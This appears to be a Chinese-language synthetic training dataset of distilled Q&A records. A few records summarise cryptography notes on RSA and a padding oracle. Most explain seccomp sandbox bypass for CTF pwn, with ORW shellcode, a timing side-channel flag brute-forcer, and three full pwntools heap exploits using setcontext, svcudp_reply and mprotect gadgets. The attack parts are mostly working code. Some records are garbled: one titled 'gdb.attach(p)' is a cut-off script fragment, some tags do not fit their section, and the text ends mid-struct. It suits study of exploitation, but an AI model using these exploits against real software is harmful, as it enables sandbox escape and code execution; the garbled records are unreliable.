[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/crypto/asymmetric/rsa/rsa_theory.md` 中的章节「公钥与私钥的产生」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/crypto/asymmetric/rsa/rsa_theory.md`
标题：RSA 介绍
章节：RSA 介绍 > 基本原理 > 公钥与私钥的产生
路径分类：crypto / crypto/asymmetric/rsa
分块：1/1

核心知识点：
- 本节主题围绕“公钥与私钥的产生”展开。
- 1. 随机选择两个不同大质数 $p$ 和 $q$，计算 $N = p \times q$ 2. 根据欧拉函数，求得 $\varphi (N)=\varphi (p)\varphi (q)=(p-1)(q-1)$ 3. 选择一个小于 $\varphi (N)$ 的整数 $e$，使 $e$ 和 $\varphi (N)$ 互质。
- 并求得 $e$ 关于 $\varphi (N)$ 的模反元素，命名为 $d$，有 $ed\equiv 1 \pmod {\varphi (N)}$ 4. 将 $p$ 和 $q$ 的记录销毁 此时，$(N,e)$ 是公钥，$(N,d)$ 是私钥。

关键术语：
- 密码学
- crypto
- asymmetric
- rsa
- rsa-theory.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

公钥与私钥的产生

RSA 介绍
基本原理
公钥与私钥的产生

RSA 介绍


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/crypto/blockcipher/mode/padding-oracle-attack.md` 中的章节「分析」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/crypto/blockcipher/mode/padding-oracle-attack.md`
标题：Padding Oracle Attack
章节：Padding Oracle Attack > 2017 HITCON Secret Server > 分析
路径分类：crypto / crypto/blockcipher/mode
分块：1/1

核心知识点：
- 本节主题围绕“分析”展开。
- 程序中采用的加密是 AES CBC，其中采用的 padding 与 PKCS5 类似 ``python def pad(msg): pad_length = 16-len(msg)%16 return msg+chr(pad_length)*pad_length def unpad(msg): return msg[:-ord(msg[-1])] ` 但是，在每次 unpad 时并没有进行检测，而是直接进行 unpad。
- 其中，需要注意的是，每次和用户交互的函数是 - send_msg ，接受用户的明文，使用固定的 2jpmLoSsOlQrqyqE 作为 IV，进行加密，并将加密结果输出。
- recv_msg ，接受用户的 IV 和密文，对密文进行解密，并返回。

关键术语：
- 密码学
- 漏洞利用
- crypto
- blockcipher
- mode
- padding-oracle-attack.md
- code:python

代码/命令片段线索：
- python: 5 行，首行 `def pad(msg):`
- python: 17 行，首行 `msg = recv_msg().strip()`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

分析

Padding Oracle Attack
2017 HITCON Secret Server
分析

密码学 漏洞利用 crypto blockcipher mode padding-oracle-attack.md code:python

Padding Oracle Attack


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/crypto/blockcipher/mode/padding-oracle-attack.md` 中的章节「利用思路」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/crypto/blockcipher/mode/padding-oracle-attack.md`
标题：Padding Oracle Attack
章节：Padding Oracle Attack > 2017 HITCON Secret Server Revenge > 利用思路
路径分类：crypto / crypto/blockcipher/mode
分块：1/2

核心知识点：
- 本节主题围绕“利用思路”展开。
- 进而，在 unpad 的时候就是利用 md5(token[:i]) 的最后一个字节（ 0-255）进行 unpad，之后对 unpad 后的字符串执行指定的命令（比如md5）。
- 然而，如果 md5(token[:i]) 的最后一个字节小于16，那么在 unpad 时就会利用一些 md5 中的值，而这部分值，由于对于不同长度的 token[:i] 几乎都不会相同。
- 所以这里我们需要想办法复用一些内容，这里我们选择复用 encrypt(md5(token[:i])) 的结果。
- 如果我们将加密 IV 和 encrypt(md5(token[:i])) 放在某个密文 C 的后面，构成 C|IV|encrypt(md5(token[:i]))，那么解密出来的消息的最后一个明文块就是 md5(token[:i])。
- 具体利用思路如下 1. 绕过 proof of work。

关键术语：
- ROP/JOP
- 密码学
- AI安全
- 漏洞利用
- crypto
- blockcipher
- mode
- padding-oracle-attack.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

利用思路

Padding Oracle Attack
2017 HITCON Secret Server Revenge
利用思路

ROP/JOP 密码学 AI安全 漏洞利用 crypto blockcipher mode padding-oracle-attack.md

Padding Oracle Attack


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/crypto/asymmetric/lattice/cvp.md` 中的章节「参考」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/crypto/asymmetric/lattice/cvp.md`
标题：CVP
章节：CVP > 参考
路径分类：crypto / crypto/asymmetric/lattice
分块：1/1

核心知识点：
- 本节主题围绕“参考”展开。
- Lecture 3 - CVP algorithm Wikipedia [Playing “Hide-and-Seek” in Finite Fields: Hidden Number Problem and Its Applications](http://www.isg.rhul.ac.uk/~sdg/igor-slides.pdf) https://www.math.auckland.ac.nz/~sgal018/crypto-book/ch18.pdf

关键术语：
- 密码学
- crypto
- asymmetric
- lattice
- cvp.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

参考

CVP


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「ORW」。
资料来源：Seccomp绕过/seccomp bypass.md；主题：Seccomp沙箱机制与绕过；分类：seccomp。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### ORW

当沙箱禁用`execve`系统调用时，可以通过`open`/`read`/`write`等系统调用组合来读取 flag。

- orw shellcode 示例：

```python
shellcode = asm("""
    push 0x67616c66
    mov rdi, rsp
    xor esi, esi
    push 2
    pop rax
    syscall
    mov rdi, rax
    mov rsi, rsp
    mov edx, 0x100
    xor eax, eax
    syscall
    mov edi, 1
    mov rsi, rsp
    push 1
    pop rax
    syscall
""")
```

当`open`被禁用时，可以使用`openat`代替：
```python
shellcode = asm('''
    mov rax, 0x67616c662f2e
    push rax
    mov rdi, -100
    mov rsi, rsp
    mov rdx, 0
    mov rax, 257
    syscall
    mov rdi, rax
    mov rsi, rsp
    mov rdx, 1024
    mov rax, 0
    syscall
    mov rdi, 1
    mov rsi, rsp
    mov rdx, rax
    mov rax, 1
    syscall
''')
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「使用32位shellcode」。
资料来源：Seccomp绕过/seccomp bypass.md；主题：Seccomp沙箱机制与绕过；分类：seccomp。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### 使用32位shellcode

利用 x86 架构下 CS 段寄存器切换模式，以及 64 位和 32 位系统调用号不同的特性：
- 缺乏对当前架构的判断
- 64 位下的某些调用号与 32 位下的open相同

示例沙箱规则（缺少架构判断）：
```
0000: 0x20 0x00 0x00 0x00000000  A = sys_number
0001: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0003
0002: 0x15 0x00 0x06 0xffffffff  if (A != 0xffffffff) goto 0009
0003: 0x15 0x04 0x00 0x00000000  if (A == read) goto 0008
0004: 0x15 0x03 0x00 0x00000001  if (A == write) goto 0008
...
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「使用seccomp库创建沙箱」。
资料来源：Seccomp绕过/seccomp bypass.md；主题：Seccomp沙箱机制与绕过；分类：seccomp。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### 使用seccomp库创建沙箱

首先安装 libseccomp-dev：
```bash
sudo apt-get install libseccomp-dev
```

示例代码：

```c
#include <unistd.h>
#include <seccomp.h>

int main() {
    scmp_filter_ctx ctx;
    ctx = seccomp_init(SCMP_ACT_ALLOW);

    seccomp_arch_add(ctx, SCMP_ARCH_X86_64);
    seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
    seccomp_load(ctx);

    char *args[] = {"/bin/bash", "-i", NULL};
    execve(args[0], args, NULL);

    return 0;
}
```

`seccomp_rule_add`函数参数说明：
- `ctx`：过滤器上下文
- `action`：匹配时的操作（SCMP_ACT_ALLOW允许、SCMP_ACT_KILL杀死进程、SCMP_ACT_ERRNO返回错误码）
- `syscall`：要限制的系统调用号
- `arg_cnt`：要匹配的参数数量
- `...`：可变参数，指定参数匹配条件


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「基本概念」。
资料来源：Seccomp绕过/seccomp bypass.md；主题：Seccomp沙箱机制与绕过；分类：seccomp。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
## 基本概念

Seccomp 是 Linux kernel 从 2.6.23 版本开始引入的一种简洁的沙箱机制。在 Linux 系统里，大量的系统调用直接暴露给用户态程序。但是，并不是所有的系统调用都被需要，而且不安全的代码滥用系统调用会对系统造成安全威胁。Seccomp 安全机制能使一个进程进入到一种 "安全" 运行模式，该模式下的进程只能调用有限的系统调用。

在进程的`/proc/${pid}/status`文件中的 Seccomp 字段可以看到进程的 Seccomp 状态：

```
❯ cat /proc/2131/status

......

Seccomp:        2
Seccomp_filters:        1
Speculation_Store_Bypass:       thread vulnerable
SpeculationIndirectBranch:      conditional enabled
Cpus_allowed:   ff
Cpus_allowed_list:      0-7
Mems_allowed:   00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001
Mems_allowed_list:      0
voluntary_ctxt_switches:        1137
nonvoluntary_ctxt_switches:     0
```

- 0：尚未启动；
- 1：启用严格模式；
- 2：启用过滤模式；


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「新版本setcontext」。
资料来源：Seccomp绕过/seccomp bypass.md；主题：Seccomp沙箱机制与绕过；分类：seccomp。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### 新版本setcontext

从 libc-2.29 版本起，setcontext 改用 rdx 寄存器来访问 SigreturnFrame 结构，因此无法直接利用 setcontext 的 gadget 将 free 的 SigreturnFrame 结构赋值给寄存器。

不过可以先泄露堆地址，然后通过下面两条 gadget 中的一条将释放的 chunk 的内存地址赋值给 rdx 然后跳转到 setcontext 的 gadget 。

```plain
mov rdx, [rdi+0x8]; mov rax, [rdi]; mov rdi, rdx; jmp rax;
mov rdx, [rdi+0x8]; mov [rsp], rax; call qword ptr [rdx+0x20];
```

+ exp模板

```python
#!/bin/python3
from pwn import *

elf = ELF("./pwn")
libc = ELF("./libc.so.6")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
p = process([elf.path])

def add_chunk(index, size):
    p.sendafter("choice:", "1")
    p.sendafter("index:", str(index))
    p.sendafter("size:", str(size))

def delete_chunk(index):
    p.sendafter("choice:", "2")
    p.sendafter("index:", str(index))

def edit_chunk(index, content):
    p.sendafter("choice:", "3")
    p.sendafter("index:", str(index))
    p.sendafter("length:", str(len(content)))
    p.sendafter("content:", content)

def show_chunk(index):
    p.sendafter("choice:", "4")
    p.sendafter("index:", str(index))

add_chunk(0, 0x500)
add_chunk(1, 0x18)

delete_chunk(0)
show_chunk(0)
libc.address = u64(p.recvuntil(b'\x7F')[-6:].ljust(8, b'\x00')) - 0x3afca0
info("libc base: " + hex(libc.address))

add_chunk(0, 0x400)
delete_chunk(0)
edit_chunk(0, p64(libc.sym['__free_hook']))
add_chunk(1, 0x400)
add_chunk(0, 0x400)

buf_addr = libc.sym['__free_hook'] + 0x100

payload = b''
payload += p64(libc.sym['setcontext'] + 53)
payload += p64(next(libc.search(asm('pop rdi; ret;'), executable=True)))
payload += p64(3)
payload += p64(next(libc.search(asm('pop rsi; ret;'), executable=True)))
payload += p64(buf_addr)
payload += p64(next(libc.search(asm('pop rdx; ret;'), executable=True)))
payload += p64(0x100)
payload += p64(libc.sym['read'])
payload += p64(next(libc.search(asm('pop rdi; ret;'), executable=True)))
payload += p64(buf_addr)
payload += p64(libc.sym['puts'])
payload = payload.ljust(0x100, b'\x00')
payload += b"./flag\x00"

edit_chunk(0, payload)

frame = SigreturnFrame()
frame.rsp = libc.sym['__free_hook'] + 8
frame.rdi = buf_addr
frame.rsi = 0
frame.rip = libc.sym['open']

edit_chunk(1, str(frame))

delete_chunk(1)

p.interactive()
```

除了 setcontext 外还有另一个 gedget 可以同时完成程序执行流劫持和栈迁移：

```plain
`<svcudp_reply``+``22``>:    mov    rbp,QWORD PTR [rdi``+``0x48``]`
`<svcudp_reply``+``26``>:    mov    rax,QWORD PTR [rbp``+``0x18``]`
`<svcudp_reply``+``30``>:    lea    r12,[rbp``+``0x10``]`
`<svcudp_reply``+``34``>:    mov    DWORD PTR [rbp``+``0x10``],``0x0`
`<svcudp_reply``+``41``>:    mov    rdi,r12`
`<svcudp_reply``+``44``>:    call   QWORD PTR [rax``+``0x28``]`
```

这个 gadget 在不同的 libc 中使用的寄存器不同，具体视情况而定。比如有的 libc 使用的是 rbx 而不是 rbp 导致无法栈迁移实现对程序执行流程的连续劫持。

利用这个gadget，通过`rdi`控制`rbp`进而控制`rax`并执行跳转,只需要在`rax + 0x28`的位置设置`leave; ret`即可完成栈迁移.

[图片: image]

+ exp

```python
from pwn import *

elf = ELF("./pwn")
libc = ELF("./libc.so.6")

context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'

p = process([elf.path])

def add_chunk(index, size):
    p.sendafter("choice:", "1")
    p.sendafter("index:", str(index))
    p.sendafter("size:", str(size))

def delete_chunk(index):
    p.sendafter("choice:", "2")
    p.sendafter("index:", str(index))

def edit_chunk(index, content):
    p.sendafter("choice:", "3")
    p.sendafter("index:", str(index))
    p.sendafter("length:", str(len(content)))
    p.sendafter("content:", content)

def show_chunk(index):
    p.sendafter("choice:", "4")
    p.sendafter("index:", str(index))

add_chunk(0, 0x500)
add_chunk(1, 0x18)

delete_chunk(0)
show_chunk(0)

libc.address = u64(p.recvuntil('\x7F')[-6:].ljust(8, '\x00')) - 0x3b6be0
info("libc base: " + hex(libc.address))

add_chunk(1, 0x400)
add_chunk(0, 0x400)

delete_chunk(1)
delete_chunk(0)

edit_chunk(0, p64(libc.sym['__free_hook']))

add_chunk(1, 0x400)
add_chunk(0, 0x400)

payload_addr = libc.sym['__free_hook']
buf_addr = payload_addr + 0x100
rax_addr = payload_addr + 0xb0

payload = b''

payload += p64(libc.sym['svcudp_reply'] + 22)
payload += p64(next(libc.search(asm('pop r14; pop r15; ret;'), executable=True)))
payload += b'a' * 8
payload += p64(rax_addr)

payload += p64(next(libc.search(asm('pop rdi; ret;'), executable=True)))
payload += p64(buf_addr)

payload += p64(next(libc.search(asm('pop rsi; ret;'), executable=True)))
payload += p64(0)

payload += p64(libc.sym['open'])

payload += p64(next(libc.search(asm('pop rdi; ret;'), executable=True)))
payload += p64(3)

payload += p64(next(libc.search(asm('pop rsi; ret;'), executable=True)))
payload += p64(buf_addr)

payload += p64(next(libc.search(asm('pop rdx; ret;'), executable=True)))
payload += p64(0x100)

payload += p64(libc.sym['read'])

payload += p64(next(libc.search(asm('pop rdi; ret;'), executable=True)))
payload += p64(buf_addr)

payload += p64(libc.sym['puts'])

assert len(payload) <= rax_addr - payload_addr

payload = payload.ljust(rax_addr - payload_addr, b'\x00')
payload += b'b' * 0x28
payload += p64(next(libc.search(asm('leave; ret;'), executable=True)))

payload = payload.ljust(0x100, b'\x00')
payload += b"./flag\x00"

edit_chunk(0, payload)

edit_chunk(1, b'c' * 0x48 + p64(libc.sym['__free_hook']))

gdb.attach(p, "b __libc_free\nc")
pause()

delete_chunk(1)

p.interactive()
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「ptrace绕过seccomp」。
资料来源：Seccomp绕过/seccomp bypass.md；主题：Seccomp沙箱机制与绕过；分类：seccomp。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### ptrace绕过seccomp

（注：ptrace绕过是一种高级技术，可以通过ptrace附加到进程并修改其seccomp过滤规则。具体实现较为复杂，通常需要深入理解ptrace机制和seccomp的内部工作原理。）

基本思路：
1. 使用ptrace附加到目标进程
2. 修改进程的seccomp过滤规则或绕过检查
3. 恢复执行并实现系统调用

这种方法需要较高的权限，且在不同内核版本上表现可能不同。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「侧信道攻击」。
资料来源：Seccomp绕过/seccomp bypass.md；主题：Seccomp沙箱机制与绕过；分类：seccomp。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### 侧信道攻击

当所有输出相关的系统调用被禁用时，可以通过逐字节比较来爆破flag：

```python
def check(i, c):
    p = process([elf.path])
    p.send(payload)
    sleep(1)

    shellcode = asm("""
        push 0x67616c66
        mov rdi, rsp
        xor esi, esi
        push 2
        pop rax
        syscall
        mov rdi, rax
        mov rsi, rsp
        mov edx, 0x100
        xor eax, eax
        syscall
        mov dl, [rsp + {}]
        cmp dl, {}
        jbe $
    """.format(i, c))

    p.send(shellcode)
    try:
        p.recv(timeout=1)
        p.kill()
        return True
    except:
        p.close()
        return False
```

判断进程退出的技巧：使用`p.recv(timeout=1)`，进程结束会触发异常，未结束但无输出则返回空字符串。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「使用 prctl 创建沙箱」。
资料来源：Seccomp绕过/seccomp bypass.md；主题：Seccomp沙箱机制与绕过；分类：seccomp。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### 使用 prctl 创建沙箱

`PR_SET_SECCOMP`是 Linux 内核提供的一种机制，用于限制进程可以执行的系统调用。`PR_SET_SECCOMP`机制可以通过使用`prctl()`系统调用来设置。

我们可以借助工具`seccomp-tools`来编写沙箱规则。

首先编写沙箱规则，保存在文件`rule`中：

```
A = arch
A == ARCH_X86_64 ? next : kill
A = sys_number
A >= 0x40000000 ? kill : next
A == execve ? kill : allow
allow:
return ALLOW
kill:
return KILL
```

运行命令将沙箱规则转换为可被`PR_SET_SECCOMP`识别的规则：

```bash
seccomp-tools asm rule -a amd64 -f raw | seccomp-tools disasm -
```

将生成的规则应用到 C 程序中：

```c
#include <stdio.h>
#include <unistd.h>
#include <linux/seccomp.h>
#include <sys/prctl.h>
#include <linux/filter.h>

int main() {
    struct sock_filter filter[] = {
        {0x20, 0x00, 0x00, 0x00000004},
        {0x15, 0x00, 0x04, 0xc000003e},
        {0x20, 0x00, 0x00, 0x00000000},
        {0x35, 0x02, 0x00, 0x40000000},
        {0x15, 0x01, 0x00, 0x0000003b},
        {0x06, 0x00, 0x00, 0x7fff0000},
        {0x06, 0x00, 0x00, 0x00000000}
    };
    struct sock_fprog prog = {
        .len = (unsigned short)(sizeof(filter) / sizeof(filter[0])),
        .filter = filter,
    };

    if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog) == -1) {
        perror("prctl error.");
        return 1;
    }

    char *args[] = {"/bin/bash", "-i", NULL};
    execve(args[0], args, NULL);
    return 0;
}
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「setcontext gadget」。
资料来源：Seccomp绕过/seccomp bypass.md；主题：Seccomp沙箱机制与绕过；分类：seccomp。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### setcontext gadget

`setcontext`函数是 libc 中一个独特的函数，它的功能是传入一个`SigreturnFrame`结构指针，然后根据 `SigreturnFrame`的内容设置各种寄存器。

因此从 setcontext+53（不同 libc 偏移可能不同）的位置开始有如下 gadget，即根据`rdi`也就是第一个参数指向的 `SigreturnFrame`结构设置寄存器。

```plain
0x7f4b45a35a75 <setcontext+53>     mov    rsp, qword ptr [rdi + 0xa0]
0x7f4b45a35a7c <setcontext+60>     mov    rbx, qword ptr [rdi + 0x80]
0x7f4b45a35a83 <setcontext+67>     mov    rbp, qword ptr [rdi + 0x78]
0x7f4b45a35a87 <setcontext+71>     mov    r12, qword ptr [rdi + 0x48]
0x7f4b45a35a8b <setcontext+75>     mov    r13, qword ptr [rdi + 0x50]
0x7f4b45a35a8f <setcontext+79>     mov    r14, qword ptr [rdi + 0x58]
0x7f4b45a35a93 <setcontext+83>     mov    r15, qword ptr [rdi + 0x60]
0x7f4b45a35a97 <setcontext+87>     mov    rcx, qword ptr [rdi + 0xa8]
0x7f4b45a35a9e <setcontext+94>     push   rcx
0x7f4b45a35a9f <setcontext+95>     mov    rsi, qword ptr [rdi + 0x70]
0x7f4b45a35aa3 <setcontext+99>     mov    rdx, qword ptr [rdi + 0x88]
0x7f4b45a35aaa <setcontext+106>    mov    rcx, qword ptr [rdi + 0x98]
0x7f4b45a35ab1 <setcontext+113>    mov    r8, qword ptr [rdi + 0x28]
0x7f4b45a35ab5 <setcontext+117>    mov    r9, qword ptr [rdi + 0x30]
0x7f4b45a35ab9 <setcontext+121>    mov    rdi, qword ptr [rdi + 0x68]
0x7f4b45a35abd <setcontext+125>    xor    eax, eax
0x7f4b45a35abf <setcontext+127>    ret
```

因此只需要设置 rdi 为 SignatureFrame 结构体指针，然后跳转到 `setcontext + 53` 就可以将**除 rax 外**的寄存器设置成对应的值。

例如 free hook 传入的参数是释放的内存的指针，因此可以通过将 free hook 写入 setcontext gadget 然后 free 一个存储 SigreturnFrame 结构的内存来设置寄存器，继而控制程序执行流程来执行 shellcode 或进一步 rop 。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「setcontext + shellcode」。
资料来源：Seccomp绕过/seccomp bypass.md；主题：Seccomp沙箱机制与绕过；分类：seccomp。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### setcontext + shellcode

对于开了沙箱保护的堆题，由于不能 execve ，需要 orw 的手段来获取 flag 。

首先在泄露 libc 基地址后在在 __free_hook 处申请堆块并写入如下数据：

[图片: image]

之后释放一个 SigreturnFrame，寄存器设置如下图所示。程序通过 setcontext gadget 设置寄存器后将完成栈迁移可程序执行流劫持后程序将执行，此时会调用 mprotect 函数将 __free_hook 所在内存页添加可执行属性并且会将栈迁移至 &__free_hook+0x8 的位置。执行完 mprotect 函数后程序将跳转至 shellcode1 执行。shellcode 会向 __free_hook 所在内存页起始位置读入能 orw 的 shellcode2 并跳转至 shellcode 执行获取 flag 。

[图片: image]

```python
from pwn import *

elf = ELF("./pwn")
libc = ELF("./libc.so.6")

context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'

p = process([elf.path])

def add_chunk(index, size):
    p.sendafter("choice:", "1")
    p.sendafter("index:", str(index))
    p.sendafter("size:", str(size))

def delete_chunk(index):
    p.sendafter("choice:", "2")
    p.sendafter("index:", str(index))

def edit_chunk(index, content):
    p.sendafter("choice:", "3")
    p.sendafter("index:", str(index))
    p.sendafter("length:", str(len(content)))
    p.sendafter("content:", content)

def show_chunk(index):
    p.sendafter("choice:", "4")
    p.sendafter("index:", str(index))

add_chunk(0, 0x500)
add_chunk(1, 0x18)
delete_chunk(0)
show_chunk(0)

libc.address = u64(p.recvuntil('\x7F')[-6:].ljust(8, '\x00')) - 0x3afca0
info("libc base: " + hex(libc.address))

add_chunk(0, 0x400)
delete_chunk(0)
edit_chunk(0, p64(libc.sym['__free_hook']))

add_chunk(1, 0x400)
add_chunk(0, 0x400)

shellcode1 = '''
    xor rdi,rdi
    mov rsi,%d
    mov edx,0x1000
    mov eax,0
    syscall
    jmp rsi
''' % (libc.sym['__free_hook'] & 0xFFFFFFFFFFFFF000)

edit_chunk(0, p64(libc.sym['setcontext'] + 53) + p64(libc.sym['__free_hook'] + 0x10) + asm(shellcode1))


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「gdb.attach(p)」。
资料来源：Seccomp绕过/seccomp bypass.md；主题：Seccomp沙箱机制与绕过；分类：seccomp。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
# gdb.attach(p)

frame = SigreturnFrame()
frame.rsp = libc.sym['__free_hook'] + 8
frame.rip = libc.sym['mprotect']
frame.rdi = libc.sym['__free_hook'] & 0xFFFFFFFFFFFFF000
frame.rsi = 0x2000
frame.rdx = 7

edit_chunk(1, str(frame))
delete_chunk(1)

shellcode2 = '''
mov rax, 0x67616c662f2e ;// ./flag
push rax
mov rdi, rsp ;// /flag
mov rsi, 0 ;// O_RDONLY
xor rdx, rdx ;
mov rax, 2 ;// SYS_open
syscall
mov rdi, rax ;// fd
mov rsi,rsp ;
mov rdx, 1024 ;// nbytes
mov rax,0 ;// SYS_read
syscall
mov rdi, 1 ;// fd
mov rsi, rsp ;// buf
mov rdx, rax ;// count
mov rax, 1 ;// SYS_write
syscall
mov rdi, 123 ;// error_code
mov rax, 60
syscall
'''

p.send(asm(shellcode2))

p.interactive()
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「setcontext+house of 一骑当千」。
资料来源：Seccomp绕过/seccomp bypass.md；主题：Seccomp沙箱机制与绕过；分类：seccomp。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### setcontext+house of 一骑当千

通常我们利用 `setcontext + 53` 通过 rdi 指向的内存给寄存器赋值，但是从 glibc-2-29 开始，setcontext 通过 rdx 指向的内存给寄存器赋值。

通常情况可以采用 gadget 对 rdx 赋值然后跳转到 setcontext gadget 继续执行，但使用 gadget 需要我们能控制 rdi 寄存器指向的内存的前几个字节，并且未来的 glibc 的 setcontext 也可能不再使用 rdx 寄存器。

因此我们需要一个通用的方法比如直接调用 setcontext 函数对寄存器赋值，而这中直接调用 setcontext 的方法就是 House of 一骑当千。

setcontext 函数原型为 `int setcontext(const ucontext_t *ucp)` ，其中 `ucontext_t` 结构体定义如下：

```c
struct _libc_fpstate
{
  /* 64-bit FXSAVE format.  */
  __uint16_t        __ctx(cwd);
  __uint16_t        __ctx(swd);
  __uint16_t        __ctx(ftw);
  __uint16_t        __ctx(fop);
  __uint64_t        __ctx(rip);
  __uint64_t        __ctx(rdp);
  __uint32_t        __ctx(mxcsr);
  __uint32_t        __ctx(mxcr_mask);
  struct _libc_fpxreg   _st[8];
  struct _libc_xmmreg   _xmm[16];
  __uint32_t        __glibc_reserved1[24];
};

/* Userlevel context.  */
typedef struct ucontext_t
{
    unsigned long int __ctx(uc_flags);
    struct ucontext_t *uc_link;
    stack_t uc_stack;
    mcontext_t uc_mcontext;
    sigset_t uc_sigmask;
    struct _libc_fpstate __fpregs_mem;
